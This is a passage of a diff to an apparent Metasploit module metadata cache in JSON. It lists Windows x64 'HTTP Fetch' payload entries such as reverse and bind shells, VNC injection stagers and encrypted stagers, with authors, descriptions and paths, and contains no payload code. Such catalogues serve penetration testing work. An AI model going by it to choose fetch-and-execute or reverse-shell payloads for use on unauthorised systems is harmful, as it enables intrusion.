"post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp_ssl", + "staged": false + }, + "payload_cmd/windows/http/x64/shell/bind_ipv6_tcp": { + "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/shell/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp" + }, + "payload_cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/http/x64/shell/bind_named_pipe": { + "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/http/x64/shell/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_named_pipe" + }, + "payload_cmd/windows/http/x64/shell/bind_tcp": { + "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp" + }, + "payload_cmd/windows/http/x64/shell/bind_tcp_rc4": { + "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_rc4" + }, + "payload_cmd/windows/http/x64/shell/bind_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_uuid" + }, + "payload_cmd/windows/http/x64/shell/reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp" + }, + "payload_cmd/windows/http/x64/shell/reverse_tcp_rc4": { + "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_rc4" + }, + "payload_cmd/windows/http/x64/shell/reverse_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_uuid" + }, + "payload_cmd/windows/http/x64/shell_bind_tcp": { + "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/http/x64/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection and spawn a command shell (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell_bind_tcp", + "staged": false + }, + "payload_cmd/windows/http/x64/shell_reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/http/x64/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a command shell (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell_reverse_tcp", + "staged": false + }, + "payload_cmd/windows/http/x64/vncinject/bind_ipv6_tcp": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" + }, + "payload_cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/http/x64/vncinject/bind_named_pipe": { + "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_named_pipe" + }, + "payload_cmd/windows/http/x64/vncinject/bind_tcp": { + "name": "HTTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp" + }, + "payload_cmd/windows/http/x64/vncinject/bind_tcp_rc4": { + "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_rc4" + }, + "payload_cmd/windows/http/x64/vncinject/bind_tcp_uuid": { + "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_uuid" + }, + "payload_cmd/windows/http/x64/vncinject/reverse_http": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_http", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_http" + }, + "payload_cmd/windows/http/x64/vncinject/reverse_https": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_https", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_https" + }, + "payload_cmd/windows/http/x64/vncinject/reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp" + }, + "payload_cmd/windows/http/x64/vncinject/reverse_tcp_rc4": { + "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" + }, + "payload_cmd/windows/http/x64/vncinject/reverse_tcp_uuid": { + "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" + }, + "payload_cmd/windows/http/x64/vncinject/reverse_winhttp": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttp" + }, + "payload_cmd/windows/http/x64/vncinject/reverse_winhttps": { + "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttps" + }, + "payload_cmd/windows/https/x64/custom/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/custom/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": 